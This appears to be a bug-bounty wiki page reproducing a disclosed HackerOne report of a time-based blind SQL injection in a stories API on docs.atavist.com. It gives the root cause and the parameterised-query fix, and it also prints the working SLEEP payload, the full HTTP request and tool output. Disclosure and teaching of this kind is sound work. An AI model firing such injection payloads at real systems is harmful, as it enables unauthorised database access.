Skip to content
SQL injection Disclosed report Beginner

Sql injection on docs.atavist.com

The search parameter of a stories API endpoint was concatenated into a SQL query without sanitisation, so a time-based blind injection was possible. An attacker could use it to extract data from the MySQL database, though the report only demonstrates the delay technique.

lu3ky-13 Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 6 days
  • Paid in 6 days
  • Disclosed after 18 days

Summary by the researcher

kurdistan-iraq

The report

hello dear team

I have found SQL injection on docs.atavist.com url:http://docs.atavist.com/reader_api/stories.php?limit=10&offset=20&organization_id=88822&search=0&sort=

parameters: injectable search=0

Parameter: search (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: limit=10&offset=20&organization_id=88822&search=0' AND SLEEP(5) AND 'wRIg' LIKE 'wRIg&sort=
[20:54:30] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.34
back-end DBMS: MySQL >= 5.0.12

Request

GET /reader_api/stories.php?limit=10&offset=20&organization_id=88822&search=0&sort= HTTP/1.1
Host: docs.atavist.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _fbp=fb.1.1605829485735.1219501220; __stripe_mid=f950034a-6de5-408c-b227-5ef48058f129d296dd; rgisanonymous=true; rguserid=5625868d-bfff-49dc-90ac-0269e5138dc8; rguuid=true
Upgrade-Insecure-Requests: 1


F1087069: 43.PNG

the website in scope other report https://hackerone.com/reports/950881

Impact

Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

Attachments

43.PNG
43.PNG From the original on HackerOne

The original report as published on HackerOne, by lu3ky-13. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely user input from the search parameter was concatenated directly into a SQL query instead of being passed as a bound parameter.

Impact

The report proves a time-based blind injection in the search parameter; it does not demonstrate reading or altering data.

What the attacker needed

No authentication needed; network access to the endpoint

The fix

The endpoint should be fixed by using parameterised queries so user input is never treated as SQL code.

How it was found

  1. Send a request to the stories endpoint with the usual limit, offset, organisation and sort values.
  2. Put a time-delay condition into the search parameter.
  3. Observe that the response is delayed, confirming the injected SQL executed.
  4. Use the tool output to identify the database as MySQL.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website builds a database question (a SQL query) by gluing together text from the URL. Because the search value is pasted in raw, a visitor can add extra database instructions. Here the tester made the database pause for five seconds to prove the instructions ran.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by lu3ky-13

View all

30 more disclosed reports, best first.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.